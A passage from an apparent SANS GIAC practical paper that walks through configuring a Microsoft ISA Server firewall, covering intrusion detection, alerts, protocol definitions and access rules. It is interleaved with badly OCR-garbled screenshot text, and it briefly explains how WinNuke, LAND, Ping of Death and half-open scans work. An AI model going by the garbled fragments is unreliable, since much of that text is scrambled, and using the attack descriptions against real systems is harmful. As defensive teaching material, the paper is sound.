We have selected to enable packet filtering as well as Intrusion detection. We also have
to enable IP routing since we are going to be using packet filtering to publish services
from our DMZ to the public network.
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IP Packet Filters Properties ] ' 2 =]

General PacketFiters | |ntruzsion Deteu:tiu:un] FPTF ]

|1z& thiz page to configure packet filker properties.,

¥ Enable fitering of IP fragments
¥ Enable filtering IP options

¥ Log packets from 'Sllow’ filkers

The next tab allows you to enable other packet filter options - IP fragments which can be
used as a potential denial of service attack. IP Options, which can also potentially be used
as a denial of service attack and the last option, to log allow packets. This is usually not
enabled as it will fill the log very quickly. It has been enabled here to help in examples.
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IP Packet Filters Properties 2 x

General | Packet Filkers  Intrusion Detection ] PPTF |

Enable detection aof the selected attacks:

¥ ‘windows out-of-band fafinMuke]
v Land

¥ Ping of death

IV IP half szan

Iv UDP bomb

I+ Port scan

Detect after attacks on 11 0 wellknown ports
Detect after attacks an 12|:| porks

Toreceive alerts about intruzion attacks, set the properties for
zpecific alerts in the Alerts folder.

Intruzion detection functionality bazed on technology fram Internet
Security Syztems, [no., Atlanta, G, LS4, wae sz net

k. | Cancel

The next tab lists some of the more popular types of intrusions and attacks. The WinNuke
attack works by sending ‘Out of Band/Urgent’ data to port 139 on a older version
Windows. This caused the system to crash and displays the infamous BSOD (blue screen
of death). The LAND attack is accomplished by sending the host a packet that contains
its own address as the source and destination and by setting the source and destination
TCP ports to the same number (i.e. 10.0.0.1:139 to 10.0.0.1:139). The ‘Ping of Death’ is
accomplished by sending an ICMP echo request packet that exceeds 65535 bytes. All the
listed attacks have been fixed with service packs. The IP half scan can be accomplished
with a tool like Nmap. It will attempt to initiate the first step of the TCP/IP 3-way
handshake by sending a connection request. This means that the ‘SYN”’ bit is set. If the
host being scanned is listening on that particular port it will return a ‘SYN-ACK’
expecting back a packet with the ‘ACK’ bit set to complete the handshake which of
course doesn’t happen because the scan moves on to another port. If the host is not
listening on that specific port it will send back a packet with the ‘RST-ACK’ (reset) bits
set to immediately terminate the connection attempt. You will also find information listed
on this page that states to receive alerts about these items from ISA you must go to the
Alerts folder and set the appropriate properties for the specific alert or alerts that you
wish to be notified about. This is illustrated later in the paper.
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IP Packet Filters Properties 2 =]

Gerneral | Packet Filters | Intrugion Detection  PPTF

|ze thiz page to enable the PPTP IF pratocal to pass thraugh the
firgwwall

[~ PPTP through |54 firewal

k. | Cancel

=

The last tabbed page enables the ISA server to allow PPTP connections through it. This
allows VPN connections using the PPTP protocol through the ISA terminating elsewhere.
This means that connections coming from the external interface needing to terminate
behind ISA server, or clients that are located behind ISA needing to go out to the internet
and terminate a VPN connection elsewhere. Clients behind ISA have to be configured as
Secure-Nat clients to accomplish the latter.

The next item is to configure which alerts should be triggered on ISA. This is done from
the ISA management console under alerts.
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EIsA Managemenk
Ackion  Wiew

Tree J

[EEATEIEES Bl2|l®

~loj x|

] Description

g@g Inkernet Security and Acceleration Server

=15y Servers and Arrays
E-gf ISASERVERDL
+£| Monitaring
H -—_:l Computer
+-/Zf Access Policy
&) Publishing
(] Bandwidth Rules
sty Policy Elements
fonitoring Configuration
' Alerts
1 Logs
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Mame Server
& Alert action Failure The action associated with this alert ... ISASERWERO1L
3 Component load Failure Failed to load an extension component,  ISASERYEROL
i\, Configuration error Aan errar occurred while reading confi...  ISASERVEROL
& Dial-on-demand Failure Failed to create a dial-on-demand co...  ISASERYERO1L
& DRS intrusion A host name overflow, length overfl...  ISASERWEROL
rj‘-ij Event log failure An attempt ko log the event informat, .. ISASERYEROL
\fi\, Firewall comrmunication Failure There is a failure in communication b,  ISASERVEROL
& Intrusion detected An intrusion was attempted by an ex...  ISASERWEROL
& Invalid dial-on-demand credentials Dial-on-demand credentials are invalid.  ISASERWEROL
»'i\, Invalid ODBC log credentials., The specified user name or password,,,  ISASERYEROL
i\, 1P packet dropped 1P packet was dropped according to ... ISASERVEROL
& IP Protocal violation & packet with invalid IP options was ... ISASERYEROL

F spoofing
;ﬁ Log failure
J’i\, Missing installation cormpanent

‘-'_’}j Metwork configuration changed

& Mo available ports

»'i\, Q5 component conflick

i\, Owersized UDP packet

& POP Inkrusion

& Report Summary Generation Failure
;ﬂ Resource allocation failure

e’i\, Routing (chaining) Failure

& Routing {chaining) recovery

& RPC Filter - connectivity changed
»'i\, Server Publishing Failure

,-f_?) Server publishing is not applicable,
& Server Publishing Recovery

fﬁ Sarwica Trikializakion Failiea
4

The IP packet source addr at ..
Cne of the service logs failed.

A component that was canfigured Fa, .

& network configuration change that...

Failed to creste a network socket be. .
There is a conflict with one of the op. ..

154 Server dropped a UDP packet be. ..

POP buffer owerflow detected
An error occurred while generating a...

& resource allocation Failure has ocou, .,

The 154 Server Failed ko route the re..,
The ISA Server resumed routing ko a...

The connectivity to the publishing RP. ..

The server publishing rule is configur, ..

The server publishing rule cannat be ...

The server publishing rule can now b, ..

Tha carvira Failad Fainitializa
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Here is a screen shot of the alerts on ISA which was mentioned earlier. For an alert to
trigger it must be configured by selecting its properties.

! 1=

IP spoofing Properties il ed P
1
General | Eventsl .-i'-.cti-:unsl il
E
I
& M arne: r
DE’SF'iF'ti':'” The IP packet zource address iz not valid.
[optianal]:
L
¥ Enable
[
X
3
3
1]
1
] I Cancel Apply
T NIRRT PTG T R T T e s TTTR GET W TSI T P Tt Tl

Here is the IP spoofing alert showing that it is enabled.
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IP spoofing Properties = el I
General Events i.i'-.ctinns I

Ewent:

Description: The IP packet zource address iz not valid.

Additional conditionm I vl

- Actionz will be executed when the selected conditions ocour:
¥ Mumber of oocurences before the alert is issued; i1 L

. = ;
[T Mumber of events per second befare the alert iz issued: !I.i |
Recuring actions are performed:
" |mmediately

£ After manual reset of alert

| time since last execution is maore than I minutes

T = o ™ =

On the second tab there are options to set how many occurrences before the alert is
triggered, number of events per second before the alert is issued and how to handle
recurrences of the event which can potentially keep the alert from filling the log file.
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IP spoofing Properties -

Generall Eventz Achons I

—Iv Send e-mail

Rur this prograrm:

SHMTF zerver |192_1EE_5E|_E Browse... |
To Iadmin@giac.lncal
Cc: I
From: Iiga@giac.lcucal
Test |
1™ Program
_ e, |

|ze this account;

¥ Feport to ‘Windows 2000 event log

[T Stop selected services Select..
[T Start gelected services Celect .
ak. I Cancel | Apply

The last tabbed page allows a choice of actions to occur. These include: 1) Sending an
email, 2) Running a specific program, 3) Report the event to the Windows event log, 4)
Stop selected services and 5) Start selected services. Obviously these choices provide
considerable control in how events can be handled.

H Event Yiewer - I ] A
: ) T et [ 2|
| acton vew | & = | D@ F DB @ |
Tree I Application Log 1,153 event(s)
@I Everlt Viewer (Local) Type | Cake | Time ] Source I _ategar | Event I Liser :I
4] Application Log &Waming 6/12002 35148 PM Microsoft IS4 Server C... Packet filker 15104 NfA
Security Log Warning 6/1f2002 3:51:45PM Microsoft IS4 Server ... Packet filker 15104 MjA
System Log &Waming 6/1j2002 35142 PM Microsoft ISA Server C...  Packet filker 15104 NjA
W arning 6/1f2002 35139 P Microsoft IS4 Server ... Packet filker 15104 MjA
ning 6/1) 3 36 PM  Microsoft IS4 Se z Packet filker 15104

6142002

&Warning

A\ warning 612002

/B warning 6/1/2002
Warning 6172002

/By warning 61j2002
\Warning 6/1j2002

<]

351136 PM

BELE3PM Micrasaoft ISA Server C...
FIELFPM Microsoft ISA Server C...
35027 PM Microsoft ISA Server C..,
35024 PM Microsoft ISA Server C..,
35124 PM Micrasaoft ISA Server C...

Microsoft IS4 Server C...

Packet filer
Packet filker
Packet filker
Packet filer
Packet filer
Packet Filker

15104
15104
15104
15104
15104
15104

MY
YA
MA

M
i —

MA
3

Here is what the event log looks like while doing a scan of the DMZ using nmap.
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Event Properties E 2

Ewvent l

Date; EBAA2002  Source:  Microsoft 158 Server +
Tirne: 15:51 Categaorny:  Packet filter

Type: W arning Ewvent 1D 15104 +
|lzer M
Computer; 1545ERVERDT

Dezcription:

|54 Server detected a well-known port zcan attack from Intermet Protocol
[IF] addresz 3.1.1.5. & well-known port iz any port in the range of 1-2048.
Faor maore infarmation about thiz event, see 154 Server Help.

Data: = Butes { ‘Words
0000: 1f 00 00 00 ]

[
k. | Cancel | I |

This is one of the alerts that were generated by the nmap scan of the DMZ.

Before creating the access rules there are a couple of steps that should be completed. ISA
uses what are called Policy Elements. These include client sets, destination sets, protocol
definitions, schedules and bandwidth priorities. We will focus on the client sets,
destination sets and protocol definitions and use the defaults for the others.

Before proceeding with this step it would be prudent to mention the importance of rule
ordering. “Rule order is critical to both security and performance. Place more specific
rules before general rules to your security policy from breaking. When possible put more
commonly rules used first. Finally make sure al the rules are needed.” If this procedure
is not followed it can lead to a rule never being evaluated because the general rule always
gets evaluated first since it would precede the other. If possible the most frequently used
rules should be placed nearer the top. This helps make the process more efficient. Of
course it is not always possible to accomplish both since a more specific rule may need to
precede one that is used more often to properly match the overall security policy.

ISA evaluates the packet filters first. Block filters always take precedence over Allow
filters. Next the Protocol rules and Site and Content rules are evaluated. And again the
Deny rules take precedence over the Allow rules. It is worth mentioning again that for
outbound access there must be a Protocol rule and Site and Content rule before access is
given.
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Creating Policy Elements:

Protocol Definitions —

To create a protocol definition you right click on the Protocol Definitions Folder select

New then Definitions.

uE ISA Management

fckion  Yiew _'<:=' sy @

=101 x|

Tree J Mane J Description I Define,.. | Part r;]
§E§ Internet Security and Acceleration Server Caropas Secure Post Office Protocol +.3 ISA Server 95
-8 Servers and Arrays £APOP3S Server Secure Post Office Protocal v.3 - Server 154 Server 995
= 5 ISASERVERDL E¥Quote (TCF) Guote of the day protocol (TCF) 154 Server 17
+] i‘l Monitoring €9 Quate (LIDP) Guote of the day protocol (UDP) 154 Server 17
' Computer EraDILS Remate Authentication Dial-In User Service protocal 158 Server 1812
Access Policy CYRADIUS Accounting Remote Authentication Dial-In User Service acco... 154 Server 1813
Lok __I Site and Content Rules EARDP (Terminal Services) Remote Desktop Protocol {Terminal Services) IS4 Server 3389
- [ Pratocol Rules LARIP Routing Information Pratacol 158 Server 520
-] IP Packet Filters E3¥nlogin Rermote login protocol 154 Server 513
=& Publishing GsmTR Simple Mail TransFer Protocal (SMTP) 1SA Server 25
L ‘—I e P”b"s'“_"‘? Rilles LQSMTP Server Sirple Mail Transfer Protocal - Servar 154 Server 25
_] l?ndszri';fl: ;E:ih:hmg s EysmTPS Secure Simple Mail TransFer Protacol 1S4 Server 465
5 & Policy Elements EQASMTPS Server Secure Simple Mail Transfer Protocol {SMTPY - Ser...  ISA Server 465
.0 Schedules | G Simple Metwark Management Protocol 154 Server 161
{ .(2] Bandwidth Priorities EXsHMP Trap Simple Metowrk Management Protocol - Trap 158 Server 162
- .[[7] Destination Sets | 4 ] Secure Shell protocol 154 Server 22
[ Client Address Sets EXTelnet Telnet protocol 154 Server 23
[ LLT IV Telnet protocal - Server 154 Server 23
© L[] Conkent Groups Trivial File Transfer Protocol 154 Server 69
e[ Diakup Entries View » B (TCP) Time protocol (TCP) 154 Server a7
| f’_l Carche Configuration B (LDP) Time pratacal {JDP) 154 Server 37
+- (3] Monitoring Configurs Refresh Is Mickname,vwhois protocol 154 Server 43
+- § Extensions Exparblist.. Lo cpient User 1352
- | Metwork Configur ati Help Server Lser 123
B, lisnt anfionrakion = i e

© SANS Institute 2000 - 2002

As part of GIAC practical repository.

Author retains full rights.



Mew Protocol Definition Wizard N ﬂ

Welcome to the New Protocol
Definition Wizard

Thiz wizard helpz you create a new protocol definition.
Pratacal definitions zpecify the low-level pratacals and part
numbers that connections uze.

Pratacal definition name:

SCL Server

To continue, click Mest,

< Back I M et = I Canicel |

The next screen provides a place to name the definition, for example ‘SQL Server’, and
then click next.

The next screen ask for the protocol port which following our example would be 1433,
the protocol type — TCP (or UDP), and the direction, again in our example which would
be Inbound.
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New Protocol Definition Wizard e

Primary Connection Information
Which port number, protocal, and direction are uzed far the primary connection?

Part number;

i1 433

Pratocal type:

TCP -
Dhirection:
I Qutbound - I
Inbaund

< Back I Mext = I Cancel

Click next and you are asked if any secondary connections are needed. If this were a
complex protocol like FTP we would provide additional information here. For UDP to be

Considered a ‘server’ type it must be configured as Receive or Receive/Send.
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Mew Protocol Definition Wizard : g il

Secondary Connections
Select the settings for any secondary connections.

Do pou want o use secondary connections’?

% Mo
 Yes
Fort Range | Pratocol Tepe | Dlirection | [ e |

< Back | MHewt » I Cancel |

Mew Protocol Definition Wizard Y Ei

Completing the New Protocol
Definition Wizard

Y'ou have successfully completed the New Protocal
Definition *izard. You created a protocol definition with
the fallowing canfiguration:

M ame; ;l

S0L Serverd

Initial connection:
Part: 1433
Pratacal: TCP
Direction: Inbound

||

To cloze this wizard, click Finizh.,

< Back I Finizh I Cancel |

Click next and we are presented a summary screen with a ‘Finish’ button.
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Client Address sets -

To create a client address set you would right click the Client Address Sets then select
new.

N ame: iG & Intemnal Clients

Dezcription
[optianal]:

Select the addreszes of computers that belong ta thiz client

addrezs zet,
ki embiers:
From | Ta
192 168,501 192.168.50.254
add. | Edt. | Remove |

k. I Cancel |

In the screen shot above you can see the name that was given to this Client Set ‘GIAC
Internal Clients’ and the address range of the GIAC internal network 192.168.50.1-254.
Click OK to complete.

Destination Sets —

To create a Destination Set you would right click on the Destination Sets folder then
select New.
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MNew Destination Set e 7| x|

M arne: GIAC Intermal MTP Server

Diezcription
[optional];

Inzlude theze destinations:

Mame/|P Range | Fath

Add. i B |

(] | Cancel |

Give the Destination Set a name like ‘GIAC Internal NTP Server’ and click Add.

—_—
1 Add/Edit Destination

2%

£ Destination; Browze,, |

T o include all computers in a domain, twpe * domain.

* |P addresses:

Fram: | 182 dB8. BDL

To [optional] |

To include a specific directory in the destination set, type the path
bl

T o nclude all the files, use this farmat: Adin.
To zelect a zpecific file, uze thiz format: Adirdfilename.

Path:

k. I Cancel

Provide the IP address of the NTP server and click OK to complete.
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SA Management

| acion ven || & = | @M@ @

Tree I

Internet Security and Accelsration Server
% Servers and Arrays
g ISASERVEROL
* fi’, Monitaring
|_F Computer
fr_;} Access Policy
Site and Conkent Rules
[ Protacal Rules

=15 Publishing
‘e Publishing Rules
[ Server Publishing Rules
[_7 Bandwidth Rules

Hﬁw Policy Elements

Schedules

[_] Bandwidth Priorities
[3 Destination Sets
sk lient Addr

Protocol Definitions
[ Content Groups
“-[7] Dial-up Entries

& DMZ Server

{E__ DME Servers

§£ DMZ Web Server

{Q Inkernal Clients

@ Internal DMS Server

iﬁ Inkernal MTP Server

Q Internal SMTP Server

{_f_t' Mail Wizard set: 192,168,50.8
@ Mabile Employess

@ Partners/Suppliers

Servers Located on DMZ

Mame Descripkion I Clients
@Border Router 110.10.10.1,4.1.1.2
@DMZ Mail Server 110.20.20.4 110.20.20.4

110.20.20.1 - 110.20.20.14
110.20.20.1 - 110.20.20.14
110.20.20.2

192.168.50.1 - 192,168.50.254
192.168.50.5

192,168.50.7

192.168.50.5

192,168,504

192,168,751 - 192,168.75. 14
192.165.100.1 - 192,168,100, 126

The client address sets are listed in the screen shot above that will be used in the rules set.
Some of the client sets are specific IP addresses (i.e. the DMZ Mail server) while others
are [P address ranges (i.e. Internal Clients 192.168.50.1 -192.168.50.254).

SA Management 1Ol x|
e ———— m T | 7
| ation g || & = A@E DB @ |
Tree I | Mame l Descripkion l Destinations
Inkernet Security and Acceleration Server @ DMZ SMTP Relay Sever 110.20.20.4
B Servers and Arrays {ﬂ External Strata 2 MTP Servers nioa, okstate, edu,bock,gre:
.:-“s 1SASERYERDL ﬁ Internal MailiSMTP) Server 192,168,50.8
=3 Monitoring glnternal Web Server 192.168.50.4
{:L Computer @ MTP & MNorton Ent. &Y Server 192,168,50.7
2} Access Policy 1#}15P DS Server 110552110554
Site and Conkent: Rules Syslag Server 192,168.50.3

Protocol Rules

[ 1P Packet Filkers
[—'i{,c'?_"‘ Publishing

[_ Wehb Publishing Rules
[_1 Server Publishing Rules
[_1 Bandwidth Rules

] Policy Elements

1 schedules

Bandwidth Priorities

s FL estination Sets
[ Client Address Sets
Protocol Definitions
Conkent Groups
[_1 Dial-up Entries

The screen shot above reflects the destination sets created that will be used in the rules
set. As with the client sets the destination sets can be a specific IP address, a FQDN, a
URL, and can include a path.
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EuE 1A Management
| Action  View =

Tree |

Jﬂg Internet Security and Acceleration Server
=-5 Servers and Arrays
=& 1SASERVEROL
B2 Monitaring
1 Computer
E-Ef Access Palicy
: (] Site and Content Rules
] Protocol Rules
‘(1) IP Packet: Filters
[=1-&) Publishing
] Web Publishing Rules
i..[] Server Publishing Rules
(1 Bandwidth Rules
= 'ﬁ Palicy Elerments
[ Schedules
1 Bandwidth Priorities
_:_i Destination Sets
[ client Address Sets
s EProtocol Definitions
] Content Groups
i) Diakup Entries
[+ -Er" Maonitoring Configuration
[#- 5 Extensions
+ _J Metwork Configuration
: :"j Client Configuration

I
b

E)/ @ 2

EE

fame Description Define, .. Port number J
EAPOP3 Server Post Cffice Prokocal v, 3 - Server ISA Server 110
£apopas Secure Post Office Protocaol w3 IS4 Server Q95
EAPOPaS Server Secure Post Office Protocol w.3 - 5., IS4 Server 95
£ quote (TCF) Quote of the day protocol (TCP) IS4 Server 17
£ Guote (LDF) Cuoke of the day protocal (UDP) ISA Server 17
EIRADILS Remaote Authentication Dial-In Use,..  [34 Server 1512
£YRADIUS Accounting Remaote Authentication Dial-In Use... IS8 Server 1813
EORDP (Terminal Services) Remate Desktop Protocal {Termina... IS4 Server 3389
Eyrip Routing Information Protocol IS4 Server 520
EYrlogin Remote login protocol IS4 Server 513
Easmp Simple Mail Transfer Protocaol (SMTP) IS4 Server 25
EASMTF Server Simple Mail Transfer Protocol - Ser... IS4 Server 25
EysmTPS Secure Simple Mail Transfer Pratocal 1S4 Server 465
EXSMTPS Server Secure Simple Mail Transfer Protoc... IS4 Server 465
Eysump Simple Metwork Management Prot... IS4 Server 161
EYsMMP Trap Simple Metowrk Management Prot,.. IS4 Server 162
EyasH Secure Shell protocol IS4 Server 22
EaTelnet Telnet protocal ISA Server 23
B Teinet Server Telnet protocal - Server ISA Server 23
EXTFTP Trivial File Transfer Pratocal ISA Server ]
€3 Time (TCR) Tire protacol {TCP) IS4 Server 37
€Y Time (UDP) Time protocol {UDP) IS4 Server 37
£y whals Micknamehois protocol IS4 Server 43
€ ¥narton's Enterprise &Y Server User 2967
£ ¥riotes Client User 1352
€ INTP Server UDP 123 User 123
€350 Server User 1433
€ Syslog UDP 514 User 514

ISA comes with several protocol definitions by default but the Notes Client, NTP Server,
SQL Server and Syslog Server definitions had to be added. This is reflected in the screen

shot above.
RULES:

Internal Emplovees: -

192.168.50.0/24

(Rules are listed in pairs to represent a two way € —> connection)

HTTP - From client TCP > 1023 to TCP 80 to anywhere on Internet
From anywhere on the internet TCP 80 to client TCP > 1023
From client TCP > 1023 to TCP 80 to DMZ Web server TCP 80
From DMZ Web server TCP 80 to client TCP > 1023

HTTPS - From client address TCP > 1023 to TCP 443 anywhere on the internet
From anywhere on the Internet TCP 443 to client address TCP > 1023

From client TCP > 1023 to DMZ Web server TCP 443
From DMZ Web server TCP 443 to client TCP > 1023

FTP Download only — From client TCP > 1023 to anywhere on the internet TCP > 21
From anywhere on the Internet TCP 21 to client TCP > 1023
From anywhere on the Internet TCP > 1023 to client TCP 20
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From client TCP 20 to anywhere on the Internet TCP > 1023

Normally allowing FTP like in the rule above would not be considered secure because we
would have to open up these upper TCP ephemeral ports for the data connection from the
outside in. With ISA this does not have to be done because we can take advantage of one
ISA’s application filters. The FTP filter monitors the FTP connection and can
dynamically open the TCP requested port coming back. Once the FTP session is
terminated it closes this port. Also as a web proxy client that service can actually handle
FTP and tunneled FTP through HTTP.

To provide the above needed access for the GIAC internal employees on ISA, Protocol
rules and Site and Content rules must be created. Access will not be granted unless both
exist. By default after installation ISA has an ‘Allow anyone to go anywhere’ Site and
Content rule but does not have any Protocol rules. Therefore until at least one Protocol
rule is created ISA will not allow any outbound or inbound access. We will step through
a Protocol rule and Site and Content rule to get a feel for how this works.

General ].-'f-.ctil:nn1 F'r|:|t|:u:|:||1 Schedule] Applies Tl:n]

_}E M arme: Internal Employeez HT TP and HTTPS

D'ezcription
[optional):

[v Enable

s ] Cancel

Step 1 is to name the rule, provide a description and enable.
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Internal Employees HTTP and HTTPS Properties: 7| x|

General Action I F'ru:utu:u:u:ull Schedule | Applies To

Action taken with requests:

= Allow
" Deny

k. I Cancel Lpply

Step 2 is to pick an Action of Allow or Deny. In this example we are allowing access.
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Internal Employees HTTP and HTTP

General | Action  Praotocol ! Schedule | Applies To

Thiz rule applies to;

Protocols:

CFTF Server _:_! Select Al |

[ Gopher
[ H.323 Pratocal ied
FHTTP

FIHTTRS

CHTTPS Server Wiz
Oica
Oico
Oica 2000

Clear Al

[T Show orly selected protocals

Ok I Cancel Lpply

Step 3 is to select the protocols that this rule will allow. We could have included FTP
Download only but we will create a separate rule for the sake of clarity. If the protocol
you wanted to allow or deny was not in the list then a protocol definition would have to
be created. You could do that here by selecting the ‘New...” button.
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Internal Employees HTTP a‘nﬂ_

General} .-'-‘-.u:tiu:un] Frotocol  Schedule ].-'—‘-.pplies Tu:u]

Schedule: Im ..:] Mew...

Description:

Al
Sunday |
Monday

Sunday through S aturday from 12 AR to 12 AR

. Active : Inactive

Ok | Cancel Sroply

Step 4 is to apply a schedule to this Protocol rule. ISA comes with the ‘Always’ schedule
and a “Weekday’ and ‘Weekend’ schedule by default. Other schedules can be created for
more granularity of control if needed.
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Internal Employees HTTP and HT

Generali .-’-'-.u:tiu:un] F'ru:utu:u:u:ull Schedule  Applies Ta
Thiz rule applies to:
 Any request

&+ Client address sets specified below

= zers and groups specified belaw

Applies to requests coming from;

Client Sets. | Add..
iEi Internal Clients

E xcephions:
Cliert Sets | Add...

k. | Cancel ‘ Apply ]

Step 5 is the last step which is the selection of the ‘Applies To’ part of the rule. As seen
here the options are: 1) Any request, 2) Client Address Sets, 3) Users and groups. We are
using the ‘Internal Clients’ address set that had been created earlier. It is the network
address of 192.168.50.1-254.

Once the Protocol rule has been created a Site and Content rule needs to be created also.
This is assuming that we have deleted the ‘Allow Any’ Site and Content rule which then
gives us the opportunity to have more granular control. If the ‘Allow Any’ Site and
Content rule is left in place it will carry precedence over all the other existing rules which
is probably not what we want.
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Internal Employees HTTP and HTTPS Prop:

General I Destinations Schedulel .ﬁ.ctinnl Appliez To | HTTP I:u:untenti

@I I arme: Intermal Employees HTTP and HTTRS

Deszcription
[optional]:

¢ Enable

| 2k I Cancel Apply

S'Eep 1 looks just like step 1 of the protocol rule. There is a place for a name, description
and the Enable check box.
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Internal Employees HTTP and HT'TP5§=' ki

General Destinations i Schedulei .&u:tiu:uni Applies Tu:ui HTTP Eu:untenti

Thiz rule applies tao:

All external destinations _‘ﬂ
Al dezstinationz

All internal destinations

Al extermal destinations

Selected destination set

All deztinations except selected set

k. I Cancel Apply

Step 2 is the selection of a destination which allows for the options shown above - All
destinations, All internal, All external, Selected destinations set and All destination
except selected set. These choices provide for very granular control if needed.
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Internal Employees HTTP and HTTPS Propertie 7=

Generalj Destinations  Scheduls ].-’-‘-.u:tiu:un] Applies Tu:ui HTTF Enntent1

Schedule: ]m _:] Mew...

Descriptian:
@ @
e B R T U e B R e R
_'%" | | | | | | | | | | | | | | | | |
Sunday

_ Friday
saurdy (I HEHEREREREREREEERERRRER

Sunday through Saturday from 12 AR to 12 Ak

. Active Inactive

k. | Cancel Apply

Step 3 again like the protocol rule is to select a schedule.
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Internal Employees HTTP and HTTES

General | Destingtions | Schedule  Action I.-’-'-.pplies Tu:uI HTTF Enntentl

Aooeszs bo specified destinations;

o Allowed
= Denied

[ [EHTTE request, redirect request o thiz LB

Type http://URL to redirect to an alternate JRL.
Example: http: 4 fwidaets. microzoft cam/Denied. htm

k. i Cancel Apply

Step 4 is to select an action. Here we are selecting ‘Allow’ to provide internal GIAC
employees outbound access. You should also notice in the screen shot that if the Denied
check box is selected it provides an option to point the user to a predefined address to
explain that access was denied.
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Internal Employees HTTP and HTTPE_'Pr_n!': ms

s

Iﬁ
Ix

Generall Destinations | Schedule | Action  Applies Ta | HTTR Eu:untentl
Thiz rule applies to:
 Any request

& Client addresz setz speciiied below

™ zers and groups specified below
Applies bo requests coming from;

Client 5 ets | Add.
@ Internal Clients

Remowve

Detailz...

E xcephions:
Client Sets | Add

Hemowve

[etailz,..

L

k. Cancel | Apply |

Sfep 5 is to select an ‘Applies To’ just like the Protocol rule.
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Internal Employees HTTP and HT]

General] D estinations Schedule] .-'-‘-.u:tiu:un] &pplies To  HTTF Content ]

Apply this rule to;
{+ Al content groups

" Selected content groups:

Content types:

[ 2pplication

[ &pplication D ata Files
O sudio

[ Compressed Files
O Documents

CJ HTML Documents
O Images

[ tacro Documents
O Tex

[ videa

Rl

Ok | Cancel
Step 6 allows you restrict the type of content that is accessible. So for example if a new
virus began to spread across the Internet embedded in an audio file, we could create a
new Site and Content rule that restricted web access to these types of files and
immediately reduce our threat level.

Apply

After completing the Protocol rule and Site and Content rule they are shown in the lists

below.
EuE 15A Management 1Ol x|
| Action  Yiew C:l @
Tree J [ame | Action ] Protocol ] Applies To
G trternet Security and Acceleration Server Q_{g DMZ SMTF GUT Alow  SMTR Client Sets: DMZ Mail S
=8 Servers and Arrays £ Inkernal DS Server bo ISP DNS Server  Allow DMS Query Clignt Sets: Internal DM
= 3 15A5ERYEROL ﬂ_‘élnternal Employess FTP Allow FTP Download anly Client Sets: Internal Cli
[+ ﬁl fonitoring r:Q&Internal Employees HTTP and HTTPS Allow HTTP HTTPS Client Sets: Internal Cli |
o Computer ﬁj‘jlnternal Mail Server to DMZ Mail Relay  Allow SMTP Clignt Sets: DMZ Mail S
= _j’ Access Policy @jlnternal MTP Server to Strata 2 Servers  Allow TP (UDP) Clignt Sets: Internal MT |
[ site and Content Rules L3y Mail wizard rule - SMTP, Inkernal IP: 1., Allow SMTP, SMTP Server Client Sets: Mail Wizarc |
_..5] Pratocol Rules %&Mobile Emplovess to Internal Mail Server  Allow otes Client Client Sets: Mobile Emp |
i I Packet Filkers @jl\’lobile Employvees ko Internal Web Allow HTTP,HTTPS Client Sets: Maobile Emp |
& Ej Publishing £33 Mabile Emplayess to Narton's Ent AY Allaw Narton's Enterprise &V Server  Client Sets: Mobile Erp |
P Ul BaﬁdWidth Rules r_‘él\’lobile Employees ko MTP Server Allow MTP {UDF} Client Sets: Mobile Emp |
. aﬂ PD|IC.'>" E!ements ) . f:i:jli‘art.,l'Sup. to Internal Web Serwver Allow HTTR, HTTPS Client Sets: Partners/Si |
=) Monitoring Configuration
Extensions
[+ 1] Metwork Configuration
= :"_'I Client Configuration
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In the screen shot above we have a Protocol rule called ‘Internal Employees HTTP and
HTTPS’ and a Protocol rule that is called ‘Internal Clients FTP’.

E.-_.EISJ\ Management = D]i]

fiction  Hiew C:l -3":. [ B | B2
Tree J [ame ] SCope ] ] Actian ] Applies To ] Scher |
g@ Irkernet Security and Acceleration Server ‘U Internal Clients FTP Download Only Array Allc Client Sets: Internal Clients Al |
7 Jjj Servers and Arrays ...\J Internal Employees HTTP and HTTPS Array Al Client Sets: Internal Clients Al |
3 15A5ERYEROL U Internal ISP Server bo ISP DMNS Saerver Array Alloves Clienk Sets: Internal DNS Setver  Alwar |

s | Manitaring §_1| Internal MTP Server to Strata 2 Servers Array Allans Client Sets: Internal NTP Server  Alwa |
7 Computer B 1nkernal SMTP Server to DMZ Mail Relay Array Al Client Sets: Internal SMTP Ser,.,  Ahuar
i Access Policy [& mMaobile Employvess to Internal Mai Array Al Client Sets: Mobile Employess Az |

g Site and Contertt Rules [ Mobile Employees ko Internal Web Array Allow Client Sets: Mobile Employees Al |
{1 Protocol Rules [ Mabile Emp. ta NTP & Marton Ent. &Y Server Array Al Client Sets: Mobile Employees Alvrar |
-1 IP Packet Fiters & Part. /supp. to Internal web Server Array Allo Client Sets: Partners/Suppliers  Alwar |

= SJ Publishing
1 Web Publishing Rules
[271 Server Publishing Rules

Under Site and Content Rules folder, rules were created that also allow HTTP, HTTPS
and FTP outbound access from the internal clients. They are titled ‘Internal Employees
HTTP and HTTPS’ and ‘Internal Clients FTP’. One rule could have been created instead
of two; however it was thought that two rules provide better clarity.

Internal Servers: - ISA Publishing Rules to allow access from DMZ

Internal Time Server — NTP — 192.168.50.7
From servers on DMZ to Internal Time Server UDP 123
From NTP server to External strata 2 NTP Server UDP 123

To provide the DMZ servers access to the internal NTP server ISA server’s publishing
rules were used. By utilizing publishing rules instead of packet filters another layer of
security is provided because publishing utilizes dynamic ports instead of static ports. The
requested ports are opened when needed and then closed after the session terminates.

E.E 1SA Management _1al =]
| aion Yew || & = | @)@ | 2
Tree J Marne J Prakocol Inkernal IP ... | External IP Address
% Inkerniet Security and Acceleration Server BBorder Rauter - Syslog Server Syslog LUDP 514 192,168.50.3  110.10.10.2
=5 servers and Arrays Bhnternal MTP Server to DMZ Srvrs MTP Server UDP 123 192.168.50.7  110.20.20.1
=] 5 ISASERVEROL EA1nternal SOL Server to DMZ Web Server 0L Server 192,168,506 110,20,20.1

S Monitoring Bhnternal Syslog Server ko DMZ Servers Syslog LDP 514 192,168.50.3  110.20,20.1
Computer QEISMTP Server, Published IF: 110.20.20.1 SMTF Server 192,168,508 110.20.20.1
Access Policy

] Site and Content Rules
11 Protacal Rules
L7 1P Packet Filkers

= SJ Publishing

H ___j Web Publlshlng Rules

The internal NTP server was provided access to two trusted NTP servers by utilizing
ISA’s Protocol Rules and Site and Content Rules
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EuE 15A Management

~lojx||

| Action  Yiew _- & = | (5] @
Tree J [ame | Action ] Protocol ] Applies To
G trternet Security and Acceleration Server Q_{g DMZ SMTF GUT Alow  SMTR Client Sets: DMZ Mail S
=8 Servers and Arrays £ Inkernal DS Server bo ISP DNS Server  Allow DMS Query Clignt Sets: Internal DM
_3 15A5ERYEROL ﬂ_‘élnternal Employess FTP Allow FTP Download anly Client Sets: Internal Cli
